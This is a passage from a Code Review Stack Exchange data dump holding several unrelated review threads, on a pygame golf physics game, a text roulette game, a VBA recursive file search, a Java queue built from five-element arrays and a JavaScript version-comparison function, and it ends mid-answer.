if ym < y and xm > x:
return 1
elif ym < y and xm < x:
return 2
elif ym > y and xm < x:
return 3
elif ym > y and xm > x:
return 4
else:
return False
def draw_window():
clock.tick(Constants.TICKRATE)
window.fill(Constants.WINDOW_COLOR)
resist_multiplier_text = 'Air Resistance: {:2.2f} m/s'.format(resist_multiplier)
resist_multiplier_label = Fonts.resistMultiplierFont.render(resist_multiplier_text, 1, Fonts.RESISTMULTIPLIERCOLOR)
pg.draw.rect(window, Colors.BLACK, (.8875*Constants.SCREEN_WIDTH, .98*Constants.SCREEN_HEIGHT, Constants.SCREEN_WIDTH, Constants.SCREEN_HEIGHT))
pg.draw.arrow(window, Colors.MOON, Colors.GREEN, (.8875*Constants.SCREEN_WIDTH, .99*Constants.SCREEN_HEIGHT), (.88*Constants.SCREEN_WIDTH, .99*Constants.SCREEN_HEIGHT), 3, 3)
pg.draw.arrow(window, Colors.MOON, Colors.GREEN, (Constants.SCREEN_WIDTH, .975*Constants.SCREEN_HEIGHT), (.88*Constants.SCREEN_WIDTH, .975*Constants.SCREEN_HEIGHT), 3)
window.blit(resist_multiplier_label, (.8925*Constants.SCREEN_WIDTH, .98*Constants.SCREEN_HEIGHT))
power_multiplier_text = f'Swing Strength: {int(power_multiplier*100)}%'
power_multiplier_label = Fonts.powerMultiplierFont.render(power_multiplier_text, 1, Fonts.POWERMULTIPLIERCOLOR)
pg.draw.rect(window, Colors.BLACK, (0, .98*Constants.SCREEN_HEIGHT, .1125*Constants.SCREEN_WIDTH, Constants.SCREEN_HEIGHT))
pg.draw.arrow(window, Colors.MOON, Colors.GREEN, (.1125*Constants.SCREEN_WIDTH, .99*Constants.SCREEN_HEIGHT), (.12*Constants.SCREEN_WIDTH, .99*Constants.SCREEN_HEIGHT), 3, 3)
pg.draw.arrow(window, Colors.MOON, Colors.GREEN, (0, .975*Constants.SCREEN_HEIGHT), (.12*Constants.SCREEN_WIDTH, .975*Constants.SCREEN_HEIGHT), 3)
window.blit(power_multiplier_label, (.005*Constants.SCREEN_WIDTH, .98*Constants.SCREEN_HEIGHT))
if not shoot:
pg.draw.arrow(window, Constants.ALINE_COLOR, Constants.ALINE_COLOR, aline[0], aline[1], 5)
pg.draw.arrow(window, Constants.LINE_COLOR, Constants.LINE_COLOR, line[0], line[1], 5)
stroke_text = 'Strokes: %s' % strokes
stroke_label = Fonts.strokeFont.render(stroke_text, 1, Fonts.STROKECOLOR)
if not strokes:
window.blit(stroke_label, (Constants.SCREEN_WIDTH - .21 * Constants.SCREEN_WIDTH, Constants.SCREEN_HEIGHT - .985 * Constants.SCREEN_HEIGHT))
else:
window.blit(stroke_label, (Constants.SCREEN_WIDTH - (.21+.02*math.floor(math.log10(strokes))) * Constants.SCREEN_WIDTH, Constants.SCREEN_HEIGHT - .985 * Constants.SCREEN_HEIGHT))
power_text = 'Shot Strength: %sN' % power_display
power_label = Fonts.powerFont.render(power_text, 1, Fonts.POWERCOLOR)
if not shoot: window.blit(power_label, (cursor_pos[0] + .008 * Constants.SCREEN_WIDTH, cursor_pos[1]))
angle_text = 'Angle: %s°' % angle_display
angle_label = Fonts.angleFont.render(angle_text, 1, Fonts.ANGLECOLOR)
if not shoot: window.blit(angle_label, (ball.x - .06 * Constants.SCREEN_WIDTH, ball.y - .01 * Constants.SCREEN_HEIGHT))
if penalty:
penalty_text = f'Out of Bounds! +1 Stroke'
penalty_label = Fonts.penaltyFont.render(penalty_text, 1, Fonts.PENALTYCOLOR)
penalty_rect = penalty_label.get_rect(center=(Constants.SCREEN_WIDTH/2, .225*Constants.SCREEN_HEIGHT))
window.blit(penalty_label, penalty_rect)
toggle_bounds_text = "Use [b] to toggle bounds"
toggle_bounds_label = Fonts.toggleBoundsFont.render(toggle_bounds_text, 1, Fonts.TOGGLEBOUNDSCOLOR)
toggle_bounds_rect = toggle_bounds_label.get_rect(center=(Constants.SCREEN_WIDTH/2, .275*Constants.SCREEN_HEIGHT))
window.blit(toggle_bounds_label, toggle_bounds_rect)
ball.show(window)
pg.display.flip()
def angle(cursor_pos):
x, y, xm, ym = ball.x, ball.y, cursor_pos[0], cursor_pos[1]
if x-xm:
angle = math.atan((y - ym) / (x - xm))
elif y > ym:
angle = math.pi/2
else:
angle = 3*math.pi/2
q = ball.quadrant(x,y,xm,ym)
if q: angle = math.pi*math.floor(q/2) - angle
if round(angle*deg) == 360:
angle = 0
if x > xm and not round(angle*deg):
angle = math.pi
return angle
def arrow(screen, lcolor, tricolor, start, end, trirad, thickness=2):
pg.draw.line(screen, lcolor, start, end, thickness)
rotation = (math.atan2(start[1] - end[1], end[0] - start[0])) + math.pi/2
pg.draw.polygon(screen, tricolor, ((end[0] + trirad * math.sin(rotation),
end[1] + trirad * math.cos(rotation)),
(end[0] + trirad * math.sin(rotation - 120*rad),
end[1] + trirad * math.cos(rotation - 120*rad)),
(end[0] + trirad * math.sin(rotation + 120*rad),
end[1] + trirad * math.cos(rotation + 120*rad))))
setattr(pg.draw, 'arrow', arrow)
def distance(x, y):
return math.sqrt(x**2 + y**2)
def update_values(quit, rkey, skey, shoot, xb, yb, strokes, x_bounded):
for event in pg.event.get():
if event.type == pg.QUIT:
quit = True
if event.type == pg.KEYDOWN:
if event.key == pg.K_ESCAPE:
quit = True
if event.key == pg.K_RIGHT:
if rkey != max(resist_dict):
rkey += 1
if event.key == pg.K_LEFT:
if rkey != min(resist_dict):
rkey -= 1
if event.key == pg.K_UP:
if skey != max(strength_dict):
skey += 1
if event.key == pg.K_DOWN:
if skey != min(strength_dict):
skey -= 1
if event.key == pg.K_b:
x_bounded = not x_bounded
if event.key == pg.K_q:
rkey = min(resist_dict)
skey = max(strength_dict)
x_bounded = True
if event.key == pg.K_e:
rkey = max(resist_dict)
skey = max(strength_dict)
x_bounded = False
if event.type == pg.MOUSEBUTTONDOWN:
if not shoot:
shoot, stop = True, False
strokes, xb, yb = hit_ball(strokes)
return quit, rkey, skey, shoot, xb, yb, strokes, x_bounded
def hit_ball(strokes):
x, y = ball.x, ball.y
xb, yb = ball.x, ball.y
power = power_multiplier/4 * distance(line_ball_x, line_ball_y)
print('\n\nBall Hit!')
print('\npower: %sN' % round(power, 2))
ang = angle(cursor_pos)
print('angle: %s°' % round(ang * deg, 2))
print('cos(a): %s' % round(math.cos(ang), 2)), print('sin(a): %s' % round(math.sin(ang), 2))
ball.vx, ball.vy = power * math.cos(ang), -power * math.sin(ang)
strokes += 1
return strokes, xb, yb
def initialize():
pg.init()
pg.display.set_caption('Golf')
window = pg.display.set_mode((Constants.SCREEN_WIDTH, Constants.SCREEN_HEIGHT))
pg.event.set_grab(True)
pg.mouse.set_cursor((8, 8), (0, 0), (0, 0, 0, 0, 0, 0, 0, 0), (0, 0, 0, 0, 0, 0, 0, 0))
return window
rad, deg = math.pi/180, 180/math.pi
x, y, power, ang, strokes = [0]*5
xb, yb = None, None
shoot, penalty, stop, quit, x_bounded = [False]*5
p_ticks, update_frame = 0, 0
ball = Ball(Constants.START_X, Constants.START_Y)
clock = pg.time.Clock()
strength_dict = {0: .01, 1: .02, 2: .04, 3: .08, 4: .16, 5: .25, 6: .50, 7: .75, 8: 1}; skey = 6
resist_dict = {0: 0, 1: .01, 2: .02, 3: .03, 4: .04, 5: .05, 6: .1, 7: .2, 8: .3, 9: .4, 10: .5, 11: .6, 12: .7,
13: .8, 14: .9, 15: 1, 16: 1.25, 17: 1.5, 18: 1.75, 19: 2, 20: 2.5, 21: 3, 22: 3.5, 23: 4, 24: 4.5,
25: 5}; rkey = 7
if __name__ == '__main__':
window = initialize()
while not quit:
power_multiplier = strength_dict[skey]
resist_multiplier = resist_dict[rkey]
seconds = (pg.time.get_ticks()-p_ticks)/1000
if seconds > 1.2: penalty = False
cursor_pos = pg.mouse.get_pos()
line = [(ball.x, ball.y), cursor_pos]
line_ball_x, line_ball_y = cursor_pos[0] - ball.x, cursor_pos[1] - ball.y
aline = [(ball.x, ball.y), (ball.x + .015 * Constants.SCREEN_WIDTH, ball.y)]
if not shoot:
power_display = round(
distance(line_ball_x, line_ball_y) * power_multiplier/5)
angle_display = round(angle(cursor_pos) * deg)
else:
if stop or (abs(ball.vy) < 5 and abs(ball.vx) < 1 and abs(ball.y - (Constants.START_Y - 2)) <= Constants.BOUNCE_FUZZ):
shoot = False
#ball.y = Constants.START_Y
print('\nThe ball has come to a rest!')
update_frame = 0
else:
update_frame, shoot, stop = ball.update(update_frame)
if not Constants.X_BOUNDS_BARRIER < ball.x < Constants.SCREEN_WIDTH:
shoot = False
print(f'\nOut of Bounds! Pos: {round(ball.x), round(ball.y)}')
penalty = True
p_ticks = pg.time.get_ticks()
strokes += 1
if Constants.X_BOUNDS_BARRIER < xb < Constants.SCREEN_WIDTH:
ball.x = xb
else:
ball.x = Constants.START_X
ball.y = yb
quit, rkey, skey, shoot, xb, yb, strokes, x_bounded = update_values(quit, rkey, skey, shoot, xb, yb, strokes, x_bounded)
draw_window()
print("\nShutting down...")
pg.quit()
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T03:19:11.613",
"Id": "420970",
"Score": "0",
"body": "You are using 5 different fonts. Does that really look good? And why `monospace` and `courier new`? Either be generic or specific."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T03:19:57.463",
"Id": "420971",
"Score": "0",
"body": "I like the look, but you’re free to run it and tell me your opinion."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T09:27:09.187",
"Id": "421015",
"Score": "0",
"body": "Why do you divide by self.dt for the air resistance? I would have expected multiplication"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T16:04:20.693",
"Id": "421068",
"Score": "0",
"body": "air_resist is acceleration, so I divide by time to get velocity"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-21T00:07:03.577",
"Id": "421438",
"Score": "0",
"body": "Not even a bounty is getting this post any attention lol..."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-23T14:37:08.157",
"Id": "421842",
"Score": "0",
"body": "@alec_a I'd just want to point out, by experience, that sometimes a question doesn't generate many answers because the code is already pretty solid. Maybe not having attention means your code is fine enough as it is :)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-24T01:49:28.457",
"Id": "422932",
"Score": "0",
"body": "@IEatBagels I guess. Didn't really think about that :)"
}
] | [
{
"body": "<p><strong>For the physics:</strong></p>\n\n<p>Given that you don't have bodies that are constantly interacting, updating position and velocity based only on the previous step is fine. Be wary of doing this with lots of interacting objects if you decide to add more balls. Because you can't reasonably update simultaneously, you get issues with divergence. Again though, for this game it should be fine.</p>\n\n<p>Be aware that in most games, physics is tweaked; a simple example being bouncing not being parabolic (instead, objects tend to fall faster than they rise). Players are used to behaviour like this and games can feel weird if objects behave as they would in the real world.</p>\n\n<p><strong>For converting to SI units:</strong></p>\n\n<p>You would need to ensure that ALL properties are SI (or unitless). If, for example, your dimensions are based on pixels, not metres, you would need to scale by some pixel:metre conversion. I suspect having things like density just being 1 rather than the actual density of a golf ball are causing issues. This is probably why gravity feels a little \"heavy\".</p>\n\n<p>Using purely SI units may be a bit of a stretch. Accurately mimicking properties like friction may be a little over the top for a simple game. I would suggest it's a good idea to use real physical formulae, then tweak some constants and add scale factors.</p>\n\n<p>I won't comment on the code style as I can see people have done that in the past. </p>\n\n<p><strong>EDIT:</strong></p>\n\n<p>Thinking about it a bit more, you're currently storing position and velocity with a precision of 1 pixel. It's not unusual for the actual values to be near 1 pixel (e.g. vx = 1 +/- 1). This will create issues where velocity will decay far faster than it should when it is close to zero. I would change it so that your ball physics properties are stored separately to its display properties. Update the physics, then draw accordingly.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-23T22:57:31.453",
"Id": "421931",
"Score": "0",
"body": "`ball.x` and `ball.y` are floats. They're not defined to 1px precision"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-24T08:24:27.923",
"Id": "422955",
"Score": "0",
"body": "ahh my mistake, I was reading the print readout in the terminal."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-24T23:23:32.953",
"Id": "423095",
"Score": "0",
"body": "how is physics tweaked in most games?"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-23T11:17:35.587",
"Id": "217947",
"ParentId": "217588",
"Score": "4"
}
}
] | {
"AcceptedAnswerId": "217947",
"CommentCount": "7",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T00:29:24.527",
"Id": "217588",
"Score": "6",
"Tags": [
"python",
"animation",
"pygame",
"physics"
],
"Title": "Golf Physics \"Game\""
} | 217588 |
<p>I developed a simple command-line roulette game. Your only options are betting on color, but you can bet multiple times in one round</p>
<pre class="lang-py prettyprint-override"><code>import copy
import distutils.core
from time import sleep
from random import randint
red_slots=(1, 3, 5, 7, 9, 12, 14, 16, 18, 19, 21, 23, 25, 27, 30, 32, 34, 36)
black_slots=(2, 4, 6, 8, 10, 11, 13, 15, 17, 20, 22, 24, 26, 28, 29, 31, 33, 35)
master_color_dict={'red':0,'black':0,'green':0}
quit = False
bal = 500
def roll(num,bet_choice,color_choice):
color_dict = master_color_dict.copy()
hits = 0
for _ in range(num):
sleep(.1)
r = randint(0,36); print(r,end=" ")
if r in red_slots:
color_dict['red']+=1
if color_choice == 'red':
hits+=1
print(' -- HIT x'+str(hits))
else:
print()
elif r in black_slots:
color_dict['black']+=1
if color_choice == 'black':
hits+=1
print(' -- HIT x'+str(hits))
else:
print()
elif r == 0:
color_dict['green']+=1
if color_choice == 'green':
hits+=1
print(' -- HIT x'+str(hits))
else:
print()
if color_choice == 'red':
return color_dict[color_choice]*bet_choice - color_dict['black']*bet_choice - color_dict['green']*bet_choice
elif color_choice == 'black':
return color_dict[color_choice]*bet_choice - color_dict['red']*bet_choice - color_dict['green']*bet_choice
elif color_choice == 'green':
return color_dict[color_choice]*bet_choice*34 - color_dict['black']*bet_choice - color_dict['red']*bet_choice
def colorchoose(msg):
while True:
try:
color = input(msg)
if color == 'r' or color == 'red':
return 'red'
elif color == 'b' or color == 'black':
return 'black'
elif color == 'g' or color == "green":
return 'green'
else:
print("Invalid Input")
except ValueError:
print("Invalid Input")
def betchoose(msg):
while True:
try:
bet = int(input(msg))
if bet >= 0 and bet <= bal:
return bet
elif bet > bal:
print("You don't have enough money!")
elif bet < 0:
print("You can't bet negative money!")
except ValueError:
print("Please enter a positive integer less than or equal to your balance")
def rollchoose(msg):
while True:
try:
rc = int(input(msg))
if rc*bet_choice <= bal and rc > 0:
return rc
elif rc*bet_choice > bal:
print(f"You cannot afford to roll {rc} times")
elif rc <= 0:
print("Please enter a positive integer")
except ValueError:
print("Please enter a positive integer")
def money_change_format(num,paren=False):
if num >= 0 and paren == True:
return '(+$%d)' % (num)
elif num < 0 and paren == True:
return '(-$%d)' % (-num)
elif num >= 0 and paren == False:
return '+$%d' % (num)
else:
return '-$%d' % (-num)
def replenish(msg):
while True:
try:
rep = distutils.util.strtobool(input(msg))
if rep == 0 or rep == 1:
return rep
else:
print('Please indicate whether you\'d like to replenish your balance')
except ValueError:
print('Please indicate whether you\'d like to replenish your balance')
print("Welcome to Roulette! Payouts are x2 for black and red and x35 for green. Your starting balance is $500\n")
while not quit:
while bal > 0:
color_choice = colorchoose('What color would you like to bet on? ')
bet_choice = betchoose('How much money would you like to wager? ')
roll_choice = rollchoose('How many times would you like to roll? ')
old_bal = copy.copy(bal)
bal = bal + roll(roll_choice,bet_choice,color_choice)
print('New Balance: ','$'+str(bal),money_change_format(bal-old_bal,True))
rep = replenish("You're Broke! Would you like to replenish your $500 balance? ")
if rep: bal+=500; print('New Balance: $500 (+$500)')
elif not rep: quit = True
print('Play again anytime!')
<span class="math-container">```</span>
</code></pre>
| [] | [
{
"body": "<p>Since <code>master_color_dict</code> is only used in <code>roll</code> to initialize another dict, you could just write that initialization inside <code>roll</code>:</p>\n\n<pre><code>def roll(...):\n color_dict = {'red': 0, 'black': 0, 'green': 0}\n</code></pre>\n\n<p>And since you don't use this dictionary as a whole but only its individual parts, you could as well say:</p>\n\n<pre><code>def roll(...):\n red = 0\n black = 0\n green = 0\n</code></pre>\n\n<p>You should not abbreviate <code>balance</code> to <code>bal</code>. The additional 4 letters won't hurt anywhere in the code.</p>\n\n<p>You should read about PEP 8 and apply the usual coding conventions to your code, which are:</p>\n\n<ul>\n<li>after a comma, write a space</li>\n<li>around binary operators, write spaces</li>\n<li>and several more</li>\n</ul>\n\n<p>Since the <code>roll</code> function is more than a screen long (at least for some screens), it takes a while to read all the code. Therefore you should provide a doc string that summarizes all that code in a single sentence.</p>\n\n<p>At the end of <code>roll</code>, there are 3 large expressions that are hard to read. One of them contains the magic number 34. That number is magic because it neither appears in the roulette rules nor anywhere else in the code. To get rid of these complicated formulas, it would be easier to maintain a separate <code>balance</code> variable in that function:</p>\n\n<pre><code>def roll(num, bet_color, bet_amount):\n balance = 0\n\n for _ in range(num):\n balance -= bet_amount\n\n rolled_color = ...\n\n if bet_color == rolled_color:\n balance += payout[rolled_color] * bet_amount\n</code></pre>\n\n<p>This way, the code exactly tells the story how it happens in reality. First you bet some money, and it is gone. And should you have picked the correct color, you get the payout.</p>\n\n<p>In <code>rollchoose</code> you should reorder the conditions:</p>\n\n<ul>\n<li>first check whether the given number is positive. If not, reject it.</li>\n<li>then check whether you can afford it. If not, reject it.</li>\n<li>return it.</li>\n</ul>\n\n<p>Since you already ruled out negative numbers in the first condition, you don't need that check <code>rc > 0</code> in the second condition anymore. That's exactly what the <code>elif</code> is for.</p>\n\n<p>In <code>money_change_format</code>, you don't seem to need the cases for <code>paren = False</code> since you only call that function with <code>paren = True</code>. This dead code should be removed.</p>\n\n<p>In the main program, the number 500 appears 4 times. It should appear only once. When printing the new balance, you should use <code>money_change_format</code> so that all your program's output is formatted in the same way.</p>\n\n<p>A final remark on the post's title: your roulette program has nothing to do with a command line since it doesn't access <code>sys.args</code>. It runs <em>in text mode</em>, which often goes together with command lines, but not necessarily so. Keeping different concepts separated is important. If you mix up these concepts, you will write programs that work <em>almost correctly</em>, which is the worst that can happen. Especially if the program only shows unexpected behavior in situations that are hard to explain.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T02:47:05.657",
"Id": "217594",
"ParentId": "217589",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": "217594",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T00:55:49.897",
"Id": "217589",
"Score": "3",
"Tags": [
"python",
"game",
"random"
],
"Title": "Simple command-line roulette game"
} | 217589 |
<p>There are plenty of examples of using the FileSystemObject to recursively search for a file in subfolders. I thought that it would be interesting to write one using the Dir() function. </p>
<p>I was wondering if there is a way to return the found file without using the extra <code>FoundFile</code> parameter?</p>
<hr>
<pre><code>Function FindFile(ByVal folderName As String, ByVal FileName As String, Optional ByRef FoundFile As String) As String
Dim search As String
Dim dirList As New Collection
If Not Right(folderName, 1) = "\" Then folderName = folderName & "\"
search = Dir(folderName & "\*", vbDirectory)
While Len(search) > 0
If Not search = "." And Not search = ".." Then
If GetAttr(folderName & search) = 16 Then
dirList.Add folderName & search
Else
If LCase(search) = LCase(FileName) Then
FoundFile = folderName & FileName
FindFile = FoundFile
Exit Function
End If
End If
End If
search = Dir()
Wend
Dim fld
For Each fld In dirList
If Len(FoundFile) > 0 Then
FindFile = FoundFile
Exit Function
Else
FindFile = FindFile(CStr(fld), FileName, FoundFile)
End If
Next
End Function
</code></pre>
| [] | [
{
"body": "<p>Just remove it from parameter,\nand make it a variable. </p>\n\n<pre><code>Function FindFile(ByVal folderName As String, ByVal FileName As String) As String\n Dim search As String\n Dim dirList As New Collection\n\n If Not Right(folderName, 1) = \"\\\" Then folderName = folderName & \"\\\"\n search = Dir(folderName & \"\\*\", vbDirectory)\n While Len(search) > 0\n If Not search = \".\" And Not search = \"..\" Then\n If GetAttr(folderName & search) = 16 Then\n dirList.Add folderName & search\n Else\n If LCase(search) = LCase(FileName) Then\n FindFile = folderName & FileName\n Exit Function\n End If\n End If\n\n End If\n search = Dir()\n Wend\n\n Dim fld\n Dim FoundFile As String\n For Each fld In dirList\n\n FoundFile = FindFile(CStr(fld), FileName)\n If Len(FoundFile) > 0 Then\n FindFile = FoundFile\n Exit Function\n End If\n Next\n\n\nEnd Function\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-05-22T15:57:37.040",
"Id": "426510",
"Score": "0",
"body": "Very nice. Why didn't I think of that?"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-05-20T05:30:01.500",
"Id": "220542",
"ParentId": "217591",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": "220542",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T01:54:48.880",
"Id": "217591",
"Score": "1",
"Tags": [
"vba"
],
"Title": "Recursive File Search Using the Dir() Function"
} | 217591 |
<p>I came across below interview question and I am working on it:</p>
<blockquote>
<p>Build a queue class with the enqueue and dequeue methods. The queue
can store an <strong>UNLIMITED</strong> number of elements but you are limited to
using arrays that can store up to 5 elements max.</p>
</blockquote>
<p>Here is what I was able to come up with. Is this the right way to do it in the interview or is there any better way we should implement in the interview?</p>
<pre><code>class Solution {
private final List<List<Integer>> array;
public Solution() {
this.array = new ArrayList<>();
}
public void enqueue(int value) {
if(array.isEmpty()) {
List<Integer> arr = new ArrayList<>();
arr.add(value);
array.add(arr);
return;
}
if(array.get(array.size() - 1).size() != 5) {
array.get(array.size() - 1).add(value);
return;
}
List<Integer> arr = new ArrayList<>();
arr.add(value);
array.add(arr);
return;
}
public int dequeue() {
if(array.isEmpty()) {
return -1;
}
for(List<Integer> l : array) {
for(int i=0; i<l.size(); i++) {
return l.remove(i);
}
}
return -1;
}
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T03:24:52.070",
"Id": "420972",
"Score": "2",
"body": "I don't think this solution satisfies the requirements: the outer `array` will contain more than 5 elements if the queue has more than 25 elements."
}
] | [
{
"body": "<p>Interview questions are almost always meant to evaluate you by the clarifying questions you ask.</p>\n\n<p>In this case, what data structures were you allowed to use beyond the arrays? Clearly something was allowed, since the requirement for queue and dequeue methods implicitly allow a class to be used. But was the Queue class allowed to contain auxiliary classes?</p>\n\n<p>If not, the solution calls for the queue to be an <code>Object[5]</code> where the fifth element, when not null, is the next <code>Object[5]</code>.</p>\n\n<ul>\n<li>Requirement said arrays, not ArrayLists.</li>\n<li>The requirement did not specify the type so a generic type should have been used instead of assuming integers are ok.</li>\n<li>Use of primitive types and lack of exceptions means you're limited to positive numbers, as half of the valid value range has been used for errors.</li>\n<li>You have copy-pasted the sub-array initialization code twice. That should have been a shared method.</li>\n<li>When dequeueing, you leave the empty sub-arrays in the outer list, forcing you to perform an O(N) search to find the first element. Should have just removed the empty sub-arrays and gone for the O(1) operation of getting the first element from the first sub-array.</li>\n<li>The check for <code>array.isEmpty()</code> in dequeue is redundant and adds a third exit point for that method.</li>\n</ul>\n\n<p>Edit: I was thrown off by the for-loop in the dequeue method. Fixed my answer.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-22T00:58:41.540",
"Id": "421565",
"Score": "0",
"body": "Thanks for your great suggestion. Do you think you can provide an example basis on your suggestion?"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T05:26:44.220",
"Id": "217602",
"ParentId": "217592",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T02:09:06.563",
"Id": "217592",
"Score": "2",
"Tags": [
"java",
"algorithm",
"interview-questions"
],
"Title": "Implement Queue using fixed size array"
} | 217592 |
<p>Please review and let me know which version is better. I'm just trying to find any caveats or better ways to accomplish the a version comparison independent from Android and iOS.</p>
<p>Formats accepted: '1.0.0' or '1' formats and an operator, e.g: compareVersion('1', '1.2.0', '>')</p>
<pre><code>export function compareVersion(version1, version2, operator) {
const formattedV1 = version1.split(".");
const formattedV2 = version2.split(".");
let diff = 0;
if (formattedV1.length !== formattedV2.length) {
const lengthDiff = formattedV1.length - formattedV2.length;
for (let index = 0; index < Math.abs(lengthDiff); index += 1) {
if (lengthDiff > 0) {
formattedV2.push("0");
} else {
formattedV1.push("0");
}
}
}
for (let index = 0; index < formattedV1.length; index += 1) {
if (diff === 0) {
const v1 = parseInt(formattedV1[index]);
const v2 = parseInt(formattedV2[index]);
if (isNaN(v1) || isNaN(v2)) {
throw new Error("Problem comparing versions: not a valid number");
}
if (v1 < v2) {
diff = -1;
}
if (v1 > v2) {
diff = 1;
}
}
}
switch (operator) {
case "=":
case "==":
return diff === 0;
case ">=":
return diff >= 0;
case "<=":
return diff <= 0;
case ">":
return diff > 0;
case "<":
return diff < 0;
default:
throw new Error("Problem comparing versions");
}
}
</code></pre>
<p>OR</p>
<pre><code>export function compareVersions(a, b, operator) {
const aParts = a.split('.');
const bParts = b.split('.');
const pairs = [];
for (let index = 0; index < Math.max(aParts.length, bParts.length); index += 1) {
pairs.push({
a: parseInt(aParts[index]),
b: parseInt(bParts[index]),
});
}
let diff = 0;
pairs.forEach((pair) => {
if (diff === 0) {
if (pair.a > pair.b) {
diff = 1;
}
if (pair.b > pair.a) {
diff = -1;
}
if (!isNaN(pair.a) && isNaN(pair.b)) {
diff = 1;
}
if (isNaN(pair.a) && !isNaN(pair.b)) {
diff = -1;
}
}
});
switch (operator) {
case '=':
case '==':
return diff === 0;
case '>=':
return diff >= 0;
case '<=':
return diff <= 0;
case '>':
return diff > 0;
case '<':
return diff < 0;
default:
throw new Error('Problem comparing versions');
}
}
</code></pre>
| [] | [
{
"body": "<h2>One role</h2>\n\n<p>Be careful to do only what the functions should. </p>\n\n<p>The function is called <code>compareVersions</code> however what it does is validate and compare versions. </p>\n\n<p>The potential throw is the result of validation and has nothing to do with comparing the values.</p>\n\n<p>As you have not called the function <code>validateAndCompareVersions</code> you have over stepped its role.</p>\n\n<h2>How to throw</h2>\n\n<p>If (and try to avoid throwing exceptions), if you must throw, throw correctly. </p>\n\n<p>In this case the first throw should be a <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RangeError\" rel=\"nofollow noreferrer\"><code>RangeError</code></a> and the message should make sense.</p>\n\n<p>You have very poor error message <code>\"Problem comparing versions: not a valid number\";</code> The first part is redundant, exception contains a trace that will locate the \"problem\" and the \"Problem\" is implied in the fact that this is an exception.</p>\n\n<p>\"not a valid number\" The arguments are version strings, \"1.0.0\" is not a number. The error should indicate the problem explicitly.</p>\n\n<pre><code> throw new RangeError(\"Invalid version string: '\" + (isNaN(v1) ? v1 : v2) + \"'\");\n</code></pre>\n\n<p>The second exception is a little better, but could be improved</p>\n\n<pre><code> throw new RangeError(\"Invalid operator: \" + o);\n</code></pre>\n\n<h2>How to catch</h2>\n\n<p>Only catch what is thrown for you. Higher level catchers will handle the rest.</p>\n\n<p>Having the throws in the function means you must add additional support code outside the function. Try catches break the flow of the code, not having a try catch means that a input error will halt the app.</p>\n\n<pre><code>try {\n compareVersions(a,b,type);\n} catch(e) {\n if (e.name === \"RangeError\") {\n // do what is needed to prevent app from stopping\n } else {\n throw e; // rethrow for development cycle or high level catchers\n }\n}\n</code></pre>\n\n<p>You may need to be a little more specific, you can either extend an existing error or define a new error. Extending is the JS way so using the name property</p>\n\n<pre><code>// in function\nconst error = new RangeError(\"Invalid version string: '\" + (isNaN(v1) ? v1 : v2) + \"'\");\nerror.name = \"InvalidVersionStr\";\nthrow error;\n\n// outside function\ntry {\n compareVersions(a,b,type);\n} catch(e) {\n if (e.name === \"InvalidVersionStr\") {\n // do what is needed to prevent app from stopping\n } else {\n throw e; // rethrow for development cycle or high level catchers\n }\n}\n</code></pre>\n\n<h2>Validate or normalize</h2>\n\n<p>It is best to avoid exceptions. </p>\n\n<p>In JavaScript we can pretend we have a 3 state Boolean, <code>true</code>, <code>false</code>, and <code>undefined</code>. We can use the 3rd state to signal an error without needing to break flow or halt execution. You can return undefined with <code>return;</code></p>\n\n<p>Then you calling function need only handle the undefined</p>\n\n<pre><code> const versionResult = compareVersions(a, b, type);\n if (versionResult === undefined) { /* put the spanner here */ }\n</code></pre>\n\n<p>Better yet the function should assume all is good and just return true or false.</p>\n\n<p>Validate the version strings at the source and deal with it when you get it (that is where the problem actually is)</p>\n\n<p>You can either validate the version string or normalize the string</p>\n\n<pre><code>function normaliseVersionStr(ver) {\n return /^\\d*\\.\\d*\\.\\d*$|^\\d*$/.test(ver) ? ver : \"0\";\n}\nfunction validateVersionStr(ver) { // returns false if string not valid, else true\n return /^\\d*\\.\\d*\\.\\d*$|^\\d*$/.test(ver);\n}\n\n// Good strings returned as they are\nnormaliseVersionStr(\"1.0.0\")\nnormaliseVersionStr(\"1\")\nnormaliseVersionStr(\"1.000.0\")\n\n// Bad string returned as version 0\nnormaliseVersionStr(\"1.0.0A\")\nnormaliseVersionStr(\"1.\")\nnormaliseVersionStr(\"1.0\")\nnormaliseVersionStr(\"\")\n</code></pre>\n\n<h2>Alternative solution</h2>\n\n<p>Now that you can trust the arguments you get you can write a better function as you dont need to bother with all the possible edge cases.</p>\n\n<p>There are many ways to do this, and they depend on what you define as same, greater, less. I will assume the 